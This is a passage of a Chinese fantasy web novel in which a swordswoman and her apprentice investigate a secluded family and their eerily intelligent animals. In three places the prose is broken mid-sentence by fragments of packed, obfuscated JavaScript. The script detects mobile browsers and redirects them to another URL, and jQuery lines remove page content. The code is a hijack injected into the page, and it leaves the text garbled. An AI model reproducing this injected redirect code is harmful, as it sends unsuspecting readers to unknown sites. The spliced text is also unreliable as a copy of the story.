头顶浓密的枝叶间,一阵扑簌簌的振翅声由远及近,一串五颜六色的雀鸟排成一列飞来,又像训练有素的士兵一样依次落在枝头。 一只灰猿从一棵粗壮的古树后踱步而出,它没有像其他动物一样靠近,而是寻了处相对平坦开阔的地方,盘腿坐下了。 一时间,古木枝头、苔藓地上,大大小小的动物们围绕着长鸣的鹿王或立或坐。一双双眼睛看过来,一道道目光好奇地扫视着云朵和长生。 鹿王悠长的鸣声散去后,它们像得到了信号一般朝着云朵二人围拢过来,仿佛森林的居民们在迎接远道而来的客人。 二人皆被这奇异的景象惊呆了。长生话都说不利索了,磕磕巴巴道:“师父……这、这些动物……是成精了吗?!” 云朵摇摇头,否认了他的猜测:“他们身上并没有灵力,应当不是修炼成精。”她虽然否定了一种可能性,但也无法解释这群动物的异常举止。 身姿矫健的鹿王仿佛听懂了他们的话,冲他们低低叫了两声,优雅地转过身向森林深处踱步而去。其他动物安静地跟在鹿王身后。 云朵对长生说:“咱们也跟上,看看它们到底要干嘛。” 他们跟着动物们一路穿过层层树荫,跨过潺潺流水,峰回路转之后,眼前豁然开朗。十几间屋舍错落地散落在山腰上,屋舍间阡陌交通,绿草如茵,更多之前没露过面的小动物在草坪上戏耍打闹,看见他们,都停下来抬着头瞅他们。 鹿王走出森林后,又是一声高亢的长鸣。片刻后,正对着他们的屋舍门被打开,两名穿着白色长衫的男子走了出来。 看上去稍年长的男子用目光上下打量二人,稍稍缓和了严肃的表情,道:“寒舍已多年不曾迎客,没想到今日竟有贵客来访,有失远迎,还请见谅。” 云朵看对方气度不凡,像是饱读诗书之辈,赶忙见礼,客气道:“哪里哪里,在下云岁宁,旁边这位是我的徒弟长生,我们冒昧打扰,还请您不要怪罪。不知先生如何称呼?” 那中年男子也拱手回礼,道:“在下许知然,这是犬子许安之。我们家族世代定居于此,但到我们这两代,已经人丁凋敝至此,实在是愧对先祖。” 云朵用余光瞥了一下周围环境,这地方山清水秀、绿树环绕,说是世外桃源也不为过,在这种与世隔绝又湖光山色的地方生活,怎么会人丁凋敝?更何况,这里还有这么多各种各样的动物,个个机灵得像成了精,怎么换到人身上就不好使了呢? 云朵内心疑惑,面上不显,只嘴上宽慰道:“许先生与许公子皆一表人才,定是大有作为之人,诸位先祖若在天有灵,看到后定会感到欣慰。” 许知然道:“云姑娘谬赞了,大有作为不敢当,我父子二人向来碌碌无为,只是爱跟动物相处。” 云朵扫了一眼草地里三两成群的毛团子,脸上不由地挂上了笑容:“我见这些动物颇为聪明,想必是因为与您二位待久了,都有些通人性了。” 许知然:“兴许是这地方的水土适合它们生活,我们其实也没做什么,也就是时不时同它们玩耍,喂点食物。能长成这样,主要还是靠它们自己。” 云朵垂眸:“这样啊,不知许先生这边是否有空屋,方便我们二人暂住几天?” 许知然抚着下巴上的胡子思索片刻,伸手指向斜后方的一间屋舍。 “那间屋子空着,主人刚离去不久,因此屋里的还没有积太多灰,用品也比较齐。你们二位若是不介意,可以在那边暂住。” 云朵带着长生谢过许家父子,牵着绯云走向那间空屋。 正如许知然所说,屋中的的生活用品非常齐全,明面上也没有积灰,仿佛屋子的主人只是出个门,不久后就会回来。 长生把包袱放在桌上,然后在屋子里四下转悠,左敲敲,右瞅瞅,捅咕了半天,又溜回云朵身边,邀功道:“师父,我到处看了,没有发现异常。” 云朵:“确实,异常的不是房子。” 长生:“嗯……其实那两个人我也没看出来什么异常……” 云朵赏给他一个“你还有得练”的眼神,使了个清洁符,屋里顿时变得窗明几净。 “哇!师父,你这个符能不能给我几张,好方便啊!”长生闪着一双星星眼看着她。 云朵从储物袋中取出一沓符纸和笔墨,在床边的木桌上摆开,回身招呼长生过来。 “古话说得好,‘授人以鱼,不如授人以渔’。你跟着我修炼了这么久,对灵力也有一定的掌控能力了,我今天就教你几种简单符咒的画法吧!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062210|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >说完,云朵在指尖凝起一丝灵力,凌空虚画。一道简洁流畅的符文在空中显现,线条圆润回环。 “这是‘清洁符’,干什么的不用我再给你讲了吧?”云朵将毛笔递到长生手中,指着空中的符文,说道,“你照着这个图案在符纸上画一遍,墨水蘸七分满,一笔画完。” 长生盯着云朵画的符文凝神细看了很久,深吸一口气,握紧笔杆,蘸上墨汁,笔尖在符纸上小心翼翼地勾勒。笔尖微颤,线条略显生涩,好在最终磕磕绊绊地画完了。 云朵拿起符纸瞧了瞧,点评道:“嗯,图案是记住了,就是还不熟练,得多练习。下次画的时候手腕放松些,不要用蛮力,想象一下流淌的河水。” 长生点了点头,又在符纸的空白处试着画了几次,笔锋果然圆润了不少,看着很像那么回事了。 他学画符的速度很快,云朵也有些吃惊:“徒儿啊,没想到你在符修方面挺有天赋,可惜你师父是个剑修,早知道就让你留在栖云镇,跟着林公子修行了。” 长生听到云朵夸赞他天赋高,顿时起劲了:“师父,那我是不是可以正式开始画符了?” 云朵点头,递给他一张新的符纸,道:“这次试着在画的过程中往笔中注入灵力,灵力要均匀,不然画出来的符可不能用。” 长生按照她说的做,发现控制灵力比他想象中复杂,少一不留神,灵力就会产生波动,带动着墨汁在符纸上晕开,符文就变得不流畅了。 长生努力练了一个时辰,画得满头大汗,桌上桌下铺满了被他画废的符纸。终于,在他小心再小心的情况下,画出了一张符文流畅的清洁符。 云朵一直在旁边看着他画,见总算有张靠谱的了,出声提醒:“用手捏住符纸,向其中注入灵力,直到符文亮起。” 长生照着云朵说的做,那符纸上的图案在灌注进灵力后,发出了淡淡的蓝光。 云朵:“继续。速度慢一点,仔细观察符文的变化,同时心里要默默想象出希望清洁符达成的效果。” 随着长生注入的灵力越来越多,符文的光芒越来越亮。当黑色的墨迹完全被淡蓝的亮光覆盖住,一束蓝色的火焰突然从符纸上腾起。 长生“啊”地一声把着火的符纸丢了出去,符纸在空中化为了灰烬,但屋子里原本随手丢弃的符纸全都飞上桌面,摞成一摞放在了桌角。 长生兴奋道:“成功了!师父你看见了吗!我画的清洁符成功了!” 云朵笑道:“不错啊,按照你这个速度,说不定今天就能基本掌握几种基础符文的画法了!” 长生顿时苦了一张脸:“啊?还要画啊?别了吧?我手都快画抽筋了!要不剩下的明天再学吧?” 云朵敲着他的脑壳,一副恨铁不成钢的样子:“你小子现在好不容易找到自己擅长的方向了,还不抓紧时间努力,再这么慢慢悠悠下去,你什么时候才能出师啊?” 长生噘着嘴嘟囔:“师父你怎么这么着急让我出师啊?” 云朵:“不是你当初说要跟着我修行,要变强的吗?现在怎么——” 她话没说完,便被一串敲门声打断。 云朵:“哪位?” 门外传来许知然的声音:“云姑娘,我们做好了晚饭,二位来到这里定是赶了不少的路,不嫌弃的话可以跟我们一起用餐。” 云朵刚想一口回绝,又被好奇心阻止了。这个地方蹊跷的地方太多了,而她一直坚信事出反常必有妖,现在对方邀请他们一起共进晚餐,不失为一次拉近距离的好机会,说不定还能在聊天的过程中发现些蛛丝马迹。 “多谢许先生,我们收拾一下就过去。” 51. 剑骨铸英魂(3) “我们父子二人对食物没有什么追求,平时吃饭比较凑合,还希望你们不要嫌弃。” 许知然虽然这么说,但这晚餐依然有荤有素,四菜一汤。相比云朵和长生一边赶路一边就地取材做出来的饭,简直可以算是大餐了。 长生兴冲冲地夹了一块肉,送进嘴,眼神顿时就亮了。 “好吃!” 云朵辟谷多日,看着一桌子菜也没什么食欲,只礼貌性地夹了一筷子青菜。 “现在外面危机四伏,云姑娘怎么会带着徒弟在外游历?”许知然一边吃饭,一边状似不经意地问道。 这是憋不住,要开始打探她们的消息了。 云朵放下筷子,微笑答道:“不瞒许先生,我们正是出来寻找抑制黑雾行动的方法的。” 许知然听了,来了兴致:“那你们可有收获?” 云朵遗憾地摇头:“不曾。” 许知然听到她的回答,倒也没有显出失望的情绪。 “也对,毕竟这上百年的时间,也没有人找到真正有效的法子,只能拖延被它们彻底消灭的时间。” 云朵反问道:“许先生世代居住在这里,可曾与那黑雾起过冲突?” 许知然摇摇头:“我们虽然整日提心吊胆,但那黑雾确实从未入侵过这里。” 这倒是奇了,这地方不光动物个个通人性,竟然还有抵御黑雾侵蚀的隐藏作用吗? 这世上有这么好的地方,为什么除了许家先祖外,没有其他人发现? “看来,这里的确是块风水宝地。”说着,云朵话锋一转,“只不过,这么好的地方,为什么不见其他人?” 许知然像是早就料到她会这样问,又似乎是被她的问题勾起了伤心事,长叹一声,答道:“唉,这说来话长。原本我们一族也是有十几户人家的,但在我年幼时,有一波人想去其他地方寻找幸存者,将他们带到这里一起生活,结果一去不回。剩下的族人不知什么原因,很难诞下子嗣,到了我这一代,你也看到了……”话没说完,已是愁容满面。 云朵同长生对视一眼,都是从对方眼中看到了诧异。 话说到这份上了,再继续深究就不太礼貌了,云朵只好转移话题:“那你们父子二人,平日里都做些什么啊?” 许知然道:“其实也做不了什么,不过是去摘些果子、草药,嘴馋了就去猎两只动物。总之,都是靠天吃饭,好在这里物产丰富,饿不死我们。” 见他的话语中提到了动物,云朵追问道:“这些动物是从哪里来的呀?” 许知然一脸奇怪:“自然是这树林里野生的。” 这个回答显然不能说服云朵。 这地方的灵力并没有充足到足以让这么多动物一起修炼成精的程度,它们却个个极通人性,显然不止是环境的功劳。 这地方定是有古怪,但许知然是真的不知缘由,还是装傻充愣,云朵一时也难以分辨。 一顿饭就在互相试探中吃完了,许知然拒绝了云朵和长生留下来帮忙收拾碗筷的请求,坚持不让客人参与到这种琐碎的劳动中。 回到屋里,云朵在四周墙壁上都贴了静音符,才开口对长生说:“聪明的徒儿,让为师来考考你,刚才饭桌上有什么不对劲的?” 长生歪着头想了想,不确定道:“许先生在说谎……?” 云朵捋着不存在的胡子,缓缓道:“我们来这里的时间太短,对他们的了解不够细致,目前还不能下结论。”她见长生开始挠头,打趣道,“很明显的啊,你都能想到他有可能在说谎了,怎么会关注不到?” 长生像是突然想到了什么,一锤手心:“许安之,他不对劲!他全程没有说话!” 云朵不由地鼓起了掌:“不错!他不光没说话,甚至也没怎么吃东西。” “——或者说,自从我们来到这里之后,就没有听到过许安之开口说话,一直都是他父亲在同我们交流。” 长生:“有没有可能,这个许安之是个哑巴?” 云朵:“如果他是哑巴,他可以用手语来表达,我们看不懂,他父亲可以帮我们翻译。但是他全程没有一点点想要加入话题的意愿,他的视线却会时不时追随正在说话的人,说明他也不是聋子,能听见我们讲话。看他的行为,也不像个傻子,只是不说话而已。” 但是他为什么不说话呢?是对说话这件事没有兴趣?还是被要求不能说话? ----------------- 第二天一早,云朵一起床便收获了一个垂头丧气的长生。 “哟,这是怎么了?”她打趣道。 长生抬起头看了她一眼,愤愤道:“别提了,师父!这地方的动物到底怎么回事?我想下河捉几条鱼,结果那些鱼看见我靠近河边就一溜烟地游走了。我想打几只鸟,结果我刚把弹弓掏出来,它们就全都飞走了,就给我留下来几根毛!真是气死我了!!” 云朵被他逗乐了:“我说什么来着,这地方的动物个顶个的精明。我看啊,你就暂时委屈委屈你的嘴和胃,摘点果子凑合一下吧。” 长生:“唉,真不知道许先生是怎么抓住它们的!” 云朵眯起眼,还没等她想出个一二三,便用余光看到窗外有个影子一闪而过。她不动声色地朝长生比了个噤声的手势,长生心领神会地用双手紧紧捂住了嘴。 云朵悄无声息地靠近屋门,凭借修仙之人灵敏的五感,她能够感知到门外站着个人。那人不动,也不说话,像一尊摆在门口的雕像。 云朵试探性地问道:“门外之人可是许公子?” 等了半晌,门外才响起一声嘶哑的“嗯”。那声音像是被砂纸磨过一样,听上去比许知然还要苍老。 得知了门外人的身份,云朵拉开了屋门,冲屋里做了个“请”的手势:“许公子这是有话要说?不妨进来说。” 谁知许安之摇了摇头,开门见山:“二位是否休息够了?若是休息够了,便尽快上路吧。” 云朵能感觉到这个地方有古怪,许家父子不简单,他们身后一定藏着什么秘密。在开门之前,她已经思考过很多种可能性,却万万没想到,话题会往这个方向上发展。 这地方到底有什么情况,让他这么着急地赶她们走? 许安之说完,也没有解释什么,只是沉默地盯着云朵二人。 云朵试探性地问道:“许公子为什么要催促我们尽快上路?我们住在这里妨碍你们了吗?” 许安之眼神复杂地看着她,刚想开口,一道声音突兀地从不远处传来。 “安之,你在哪里啊?”那声音忽远忽近,应当是发声人在四下走动寻人,“真是……我就一个不留神,人就找不到了。” 是许知然在呼唤自己的儿子。 听到许知然的声音,许安之瞬间变了脸色。 他收回了原本要说出口的话,只低声嘱咐云朵和长生:“不要说我来找过你们。”说完,也不等二人反应,一甩衣袖匆匆走了。 云朵和长生望着他略显慌乱的背影,对视一眼,都有点摸不到头脑。 长生:“师父,他们父子关系不好吗?为啥他爸找来了,他这么紧张。” 云朵也没想明白,不过现在的主要问题是想办法填饱肚子。二人一合计,先去树林里摘些果子给长生充饥。长生虽然对于吃不到肉很怨念,但碍于现实条件,也只好默默啃野果了。 ----------------- 第三天,云朵也一大早起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062211|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来加入了打猎的队伍。 然后进到树林后,她们发现里面静悄悄的,一只小动物的身影都看不见。 “怪了,昨天我来的时候还能看到动物呢,只是脚底都跟抹了油一样,根本抓不到。怎么今天连影子都看不见了?”长生看着冷清的树林,嘟囔道。 云朵用灵力探知了一下,林中并非像看起来那么空旷,有不少身影隐在恰到好处的阴影中,默默注视着她们二人。 真是聪明得过了头,都让人有点毛骨悚然了。 “咚!” “啊疼!我的头!” 长生头顶发出一声闷响,他抱着头,低头见一颗红透的果子在视野中划了道弧线,落在地上滚了两圈。 “这是……?”云朵走过去捡起那颗果子,用衣摆擦去上面的浮土,“看上去熟得刚刚好。” 长生揉着肿痛的头顶,龇牙咧嘴地抱怨道:“这么大一片林子,怎么偏偏落在了我头上,也太倒霉了!” 云朵仰头望去,见长生头上的枝叶不自然地摇晃了两下。 “搞不好,你今天的倒霉才刚刚开始呢。” 长生本以为她只是随口开个玩笑,毕竟这事云朵常干。没想到他的脑袋确实在那之后就遭了殃,五颜六色的果子像是故意一样,专门从各个角度往他头上砸。 “师父!你是不是乌鸦嘴啊!你能不能收了神通!”长生一边大喊,一边抱着头满地乱窜。 云朵站在一边看热闹,笑得前仰后合,也不忘嘲笑道:“怎么这么说呢?我看这些果子挺喜欢你的,以后只要你往这树林里一站,就不用担心饿死了,多好!” 长生欲哭无泪:“我就怕我还没饿死,就先被砸死了啊!” 云朵笑完了,伸出手,落在地上的果子全都飞向她,被她收进储物袋中。 拍拍鼓鼓囊囊的储物袋,她招呼长生:“徒儿,你的口粮够啦,咱们可以回了!” 长生如获大赦,风一样地往树林外的方向冲去。 “小心前面!”云朵突然朝长生喊道。 长生很少听见云朵这么急切的命令,身体快过脑子,直接刹住了。 在他面前,几只艳如烈阳的赤狐拦住了他的去路,几双琥珀色的眼睛看向他,仿佛在用眼神警告他不要再前进了。 长生回头:“师父,它们这是……”话说到一半就愣住了,他看见云朵正一脸无奈地瞅着衔着她的衣袖、努力往后拽的小鸟。 随着时间的流逝,越来越多的动物聚集在他们周围,它们有的挡住她们回去的方向,有的拽着她们的衣袖,千方百计地阻止她们回到住处。 正在双方僵持不下时,一声尖锐的鸣叫声打破了局面。 一道白色的身影箭一般冲了过来,双爪一扬,从云朵身上抓起一只小鸟,直接抛到了半空。然后又折返回来,去抓下一只。 长生那边也有状况,从灌木丛中窜出几只凶神恶煞的野狗,对着拦路的小动物张嘴便咬。 一时间,抓的抓、咬的咬、躲的躲,场面一片混乱。 终于卸掉身上的负重,云朵凑到长生身边,拉着他退到一边。 这一系列变故来得太快,长生有点懵:“师父,它们这是在干嘛?怎么突然就打起来了?” 云朵观察了一会儿,道:“看上去先来的那群动物想阻止我们回去,后来的这一批想让我们回去,所以它们就打起来了。” 长生哭笑不得道:“师父,我觉得沈公子说得对,咱们要不还是赶紧离开这里吧,这地方到处都透着邪门啊!” 云朵看了他一眼,没有接话。 她必须承认,她的好奇心已经被这个地方彻底勾起来了。 她倒要看看,这出闹剧最后要如何收场。 52. 剑骨铸英魂(4) “咔嚓。” 长生咬下最后一口果肉,嚼碎咽下,将手中的果核丢在旁边的大树下,朝云朵伸手:“师父,吃完了。” “这都第三个了,你还没吃饱?”云朵虽然嘴上惊讶于长生的饭量,但手还是从储物袋中掏出一个红彤彤的果子递过去。 长生接过,咬了一大口,边嚼边说:“没办法啊……果子不顶饱……我好想吃肉啊……” 云朵耸耸肩,摊手道:“喏,这边这么多动物呢,你随便抱走一只烤了吃去吧。” 长生看着不远处打作一团的动物们,缩了缩脖子,道:“这……还是算了。这里的动物太邪门了,我怕吃了对我影响不好。” 二人在这看了半天戏,也没看出哪方占优,双方实力相当,每当其中一方稍有优势,另一方便会在很快时间内反扑回来。 “这是在干什么!” 云朵和长生看得百无聊赖之际,一声呵斥在树林中炸响。 云朵冷哼一声:“哦,终于是来了。” 话音落下,只见许知然失了平日里的淡定模样,一脸怒容地冲向动物堆里。那群动物像是怕他怕得厉害,一见他来,也顾不上打架的事了,一哄而散,飞的飞,跑的跑,很快就都不见踪影。 眼前的场景堪称奇妙,云朵不禁笑出了声:“还得是许先生,我们在这里劝了半天架都没有用,许先生一来,它们瞬间就达成了一致。” 长生默默地看了云朵一眼,没有出声。 劝了半天架?不是看了半天戏吗?还有,这两拨动物达成什么一致了?一致逃跑是吧? 许知然大概平日里很少有这么大的运动量,缓了半天,终于喘匀了气,道:“云姑娘说笑了,这两群畜生向来如此,动不动就要打作一团。我以前也视图劝架,后来发现,它们的相处方式就是这样,实际上关系好得很!” “这样啊,那看来是我们孤陋寡闻了。”云朵显然半个字都不相信,但也懒得反驳。 许知然眼珠一转,看见了长生手中拿着的啃了一半的果子,一拍脑门,道:“哎呀,瞧我这脑子,已经到饭点了,二位应该饿了吧?二位要不要去我家,我弄几个菜,稍微垫垫肚子?” 这顿饭依然是四菜一汤,荤素搭配。 长生看着盘子里的肉,回想起他每次打猎都是铩羽而归,又想起刚刚那诡异的景象,忍不住问道:“许先生,您每次都是怎么打猎的呀?” 许知然对他的问题并不意外,微笑答道:“我并没有打猎,我的先祖在很多年前便与它们做了交易,我们世代守护这片土地,供它们生活,而当我们需要肉类时,它们不能拒绝。” 这个解释让长生更混乱了:“您、您是说,这些动物真的听得懂人话?您跟它们能靠说话来沟通??” 听了长生的话,许知然的脸上露出了苦恼的表情,像是在思考怎么给他解释清楚。 云朵用筷子不轻不重地敲了一下长生的头,斥道:“年纪不大,问题不少。好好吃饭,听没听说过食不言寝不语啊?” 长生缩了缩脖子,一脸委屈地把注意力放回碗里。但经过刚才一番对话,他已经觉得眼前的肉难以入口了,勉强塞了两块,就嚷嚷吃饱了。云朵本来就是意思意思吃几口菜,见长生想走了,也就顺势而为,向许知然告辞。 ----------------- 第四天,许知然照例热心地邀请她们共同用餐。饭桌上,云朵发现自许安之来找过她们后,便没再现身过,于是问道:“许先生,这两天没有见到许公子,他去哪儿了?” 许知然夹菜的手顿住了。在一阵不自然的沉默后,他低声道:“他有点事,出远门了。” “哦……” 他这么回答,那事情就肯定不是这样,只不过她们也找不到其他线索了。 之后的几天,云朵和长生一切照常。每天早晨,云朵陪着长生做完日常训练,二人便开始在附近调查可能与岳沉舟有关的线索,又在每天太阳落山之后,空着双手归来。 云朵总是能隐隐感觉到这附近有什么奇怪的东西,甚至放出了解忧帮忙找,却依然像雾里探花,找不到正确的方向。 又一次见她们垂头丧气地回来,许知然终于在她们落座后忍不住问:“二位是在找什么?不知是否方便告诉我,说不定我能帮上忙?” 云朵原本觉得这人行为举止处处透着诡异,实在可疑,所以一直没有跟他透露过她们二人来此的目的。但这么多天的搜寻一无所获,搞得她也生出了死马当活马医的心态,于是说道:“我们其实在寻找一柄剑。” 许知然:“一柄剑?” 云朵点点头,继续说:“对,一柄通体漆黑、剑刃银白的重剑,五尺余长,剑身大约五指宽。不知许先生在外出时,是否见过这样一柄剑?” 许知然捋着胡子思考了片刻,摇摇头,遗憾地说:“虽然我很想帮你们,可惜这附近一向荒无人烟,未曾见过这样一柄威风凛凛的大剑。” 云朵虽然早已料到结果,还是叹了口气:“我想也是,我们原本就是循着此剑主人的踪迹误入此处,现在看来,他大概只是曾经从附近路过。既然这里没有他的踪迹,我们也实在不好继续叨扰了。” 说完,她伸手拍了拍长生的肩膀,道:“长生,咱们今晚回屋收拾一下行李,再打扫一下屋子,明早便启程吧。” 长生从碗里抬起头,还有点懵:“啊?……哦,好呀。” 许知然有些诧异:“这么急吗?要不再多留两天?” 云朵摇头:“我们已经在这里停留很久了,身负要务,不敢再耽搁了。” 许知然:“好吧,既然云姑娘这么说,我也不好再强留你们了。对了,最近我种的果树结出了果子,今天你们回来之前我正好摘了几个,你们要不要尝尝?”接着,不等云朵和长生说话,便急匆匆地冲进厨房。一阵锅碗瓢盆的碰撞声后,许知然端着一盘红彤彤的果子走了出来。 “来,尝尝,应该熟得差不多了。”许知然将那盘果子放在二人面前,站直了身体,目光望向窗外,“可惜安之不在,不能第一时间尝到喽!” 云朵和长生各拿起一个果子,一口咬下去,汁水甘甜,果香清新。 “好甜!好吃!”长生三口并做两口吃完了一个,伸手又要去盘子里再拿一个,结果被云朵“啪”一下拍开了手。 “徒儿啊,你是不是忘了,你吃多了果子会闹肚子?晚上再疼的睡不着觉可不要来找我哭啊!” 长生委屈巴巴,但不敢说话,只得默默缩回了手。 许知然劝道:“我那里有治胃痛的药,拿给你们一些?这果子确实不错,我在这里生活了这么多年,也是头回收获这么好吃的果子,长生喜欢就让他多吃几个吧。” 云朵笑着拒绝道:“是药三分毒,长生还在长身体呢,还是别随便吃药了吧。您的好意我们心领了,以后要是有机会路过这里,再让长生吃个够。” 说完,她拉着长生跟许知然告别,回到了住处。 关严了门,又贴好了静音符, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062212|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长生才开口问:“师父,你是觉得他给的果子有问题?” 云朵道:“其实我不能确定,但是你看咱们一说要走,他就端出来那盘果子,怎么之前不拿出来呢?还使劲劝你多吃几个,很可疑啊。” 长生大惊:“那、那我吃了一个,不会有事吧?” 云朵上下打量了他一遍,没看出什么问题,又拉过他的手腕号了脉,脉象平稳,没有异样。 “现在看来是没什么问题,可以再观察观察。你要是感到有什么不对劲的地方,赶紧告诉我。”她松开了长生的手,自言自语道,“希望只是我疑心病犯了吧。” 半夜,云朵虽然在屋子周围布下了防御阵法,却依旧养成了浅眠的习惯。所以当她感觉到有人悄悄来到她身边时,立马惊醒了。 “师父……” “长生?”云朵从床上坐起来,借着从窗口透进来的月光,她看见长生站在离床两步的位置。 由于他背着光,云朵看不清他脸上的表情,但长生不会无缘无故地半夜不睡觉,跑到她跟前来唤她。 “怎么了?是身体不舒服吗?”云朵问道。 “嗯……”长生点了点头,用一只手捂着额头,有气无力地说,“我觉得头晕,身上也没有力气。” 云朵听他这么说,吓得一骨碌爬了起来,伸手试了试他额头的温度,非但不热,反而有些凉,不是发烧。 她又探了长生的脉,发现脉象时急时缓,毫无规律。 长生的脉象显然是不正常的。云朵咬着后槽牙,只恨她当初没有跟着夏南烛多学习一些医药方面的知识,不然也不会在面对这种情况时,束手无策。 长生应该是真的很难受,完全失去了平时的活泼,只垂着眼睛,只在云朵问他的时候回答一两个字。 这样下去不是办法,长生的情况若是一直找不到解决的办法,不知道会导致何种后果。 “长生,接下来我会把一股灵力送进你的经脉,探知一下你身体的状况。这个过程可能有些难受,你忍一下。” 长生有气无力地点点头,乖乖转过了身。云朵将右手手掌贴在他后背,离心脉最近的位置。随后闭上眼,将灵力捏塑成丝线,引导着它从右手掌心钻入长生的经脉中,在其中穿梭。她也是第一次尝试这种事,要操控灵力不断游移,又要小心翼翼地不要弄伤长生的经脉,每一次动作都得小心翼翼,如履薄冰。 半盏茶后,云朵终于长出一口气,睁开双眼,收回了贴在长生背上的手,擦了擦脑门上的汗。 “可以了。”她绕到长生面前,见长生掀开眼皮,静静看着她,那眼神分明是在问: 我到底出了什么问题? 关于这点,云朵也有些迟疑,因为她得出的答案实在是有些离奇。 她斟酌了一下用词,尽量用长生能听懂的方式表达:“简单来说,你的魂魄有些不稳,有离体的趋势。” 饶是长生再难受,再没精神,听到云朵的话后,也禁不住瞪大了双眼。 “师父,我会死吗……?” 看在他目前是个病号,还是重病号的份上,云朵忍住了敲他头的冲动,语重心长地说:“长生啊,你师父我还在这呢,我在你眼里这么不靠谱吗?” 长生缓缓摇头:“我不是那个意思……只是听你说的很吓人……我还以为……” 云朵推着他走,让他躺在床上,用手盖住他的双眼,道:“放心,待会你就闭上眼,全当睡一觉。我保证,等你醒过来以后,就又变得活蹦乱跳的啦!” 53. 剑骨铸英魂(5) 长生按照云朵说的做,闭上双眼,放空思绪,只觉一股暖流从云朵覆在他双眼上的手掌传来,意识在黑暗中沉浮片刻,便沉沉睡去。 看着长生的睡颜,云朵却不敢再睡了。 如果说她傍晚时还有些犹豫,不确定自己是不是太过多疑,那么现在长生身上发生的事已经给了她确切的答案。 许知然已经动手了,在晚饭中加料或许只是第一击,云朵不能确定他是不是还有后手。她听着长生时急时缓的呼吸,盯着窗外黑沉的夜色,静静等待着时间的流淌。 这片土地究竟有什么秘密?为什么这里的动物如此与众不同? 许氏父子的相处方式很奇怪,许安之从不当着许知然的面说话,并且很怕许知然知道他跟她们有过交流,为什么? 许知然在得知她们要走后,就对他们下手了,为什么? 许安之从那一天起就销声匿迹了,他去了哪里? 消失了一个多月的岳沉舟又在哪里? 他们真的……还活着吗? 她有太多的问题了,而夜晚却只能回她以沉默。 “咯吱…咯吱…” 紧闭的木门处传来令人不安的怪异声音,像是有什么尖锐的东西正在门板上刮擦。 云朵反手一扬,盈盈剑已经握在手中。她提着佩剑,悄无声息地靠近门口。 那声音非常有规律,位置靠近地面。云朵在门口站定,眯起眼睛,左手猛地推开门,同时右手一剑挥出—— “吱——!” 盈盈剑堪堪停在罪魁祸首不到半寸处。 “老鼠?”云朵收起剑,盯着在地上缩成一团的老鼠,神色不虞,“不好意思,我这里可没有多余的香油给你吃,你若是饿了,就去那边那间最大的屋子去讨吃的吧。”说完,她就打算闭门谢客。 谁知那老鼠竟扑到她脚边,直起身子,用爪子指着一个方向,不停地发出“吱吱”的叫声。 云朵试探性地问:“你是想让我跟你去那边?” 点头。 云朵摇摇头:“先不说我相不相信你这个问题,我的同伴现在身体抱恙,我不可能丢下他自己跟你走。” 那老鼠有些焦急地在地上转了几圈,叫声也变得更加短促尖锐。 “师父……?这是什么声音?”长生虚弱的声音从屋里传来。 云朵又眯起了眼睛,盈盈剑在月华下闪着冷光,剑尖下压,指着地上的老鼠。 仿佛它再做出什么多余的举动,这一剑就会落下,让它血溅当场。 她的威胁起了作用,那只老鼠确实安静了下来。 云朵没有回头,答道:“没什么,只是来了只不知从哪里来的野老鼠,在这里跟我讨食呢。” 长生:“师父又骗人……我都听到你跟它说话了……问它是不是要你跟它走……” 云朵叹了口气:“你既然听见这句话了,那想必也听见下一句了。” 长生:“可是……师父……你不好奇这里的秘密吗?我们明明是跟着解忧的提示找过来的……可到了这里后,解忧反而什么都感应不到了……” 云朵终于扭过头,看长生半倚在床上,问道:“若我跟他去了,你在这里碰到危险怎么办?” 长生:“这个好办,师父你带着我一起去就好了。” ----------------- 长生这小子,是不是最近吃得太好了? 云朵腹诽着,又把背上的长生往上托了托,跟着那只一步三回头的老鼠,继续往村子深处走。 在这里借住的几天时间里,她放出过解忧,但正如长生所说,解忧却再也没能找到一点点有关岳沉舟去向的线索。 岳沉舟就像凭空消失了一样。 思考间,她已经跟着老鼠停在了一间仓库前。那老鼠仰着头,用两颗圆溜溜的眼睛看着她。 “就是这里了吗?” 点头。 云朵将长生放下来,从储物袋中掏出一张符纸递给他:“这个你拿好,若你受到了致命伤害,它可以帮你抵挡一次。” 长生结果符纸,端详了一下,就小心翼翼地揣进了怀里,不安道:“师父,你要小心啊……” 云朵点头答应,随后提着剑,慢慢推开了仓库的门。 屋内一片漆黑,她点燃一张照明符丢进屋里,屋中的景象瞬间一览无余。 在屋子正中央,盘踞着一条碗口粗细的蟒蛇,那蛇通体漆黑,蒜瓣大的鳞片在火光下泛着暖黄色的光。大蛇用身体紧紧缠着一个细长的东西,面向仓库门口,吐着鲜红的蛇信子,双眼紧盯着云朵。 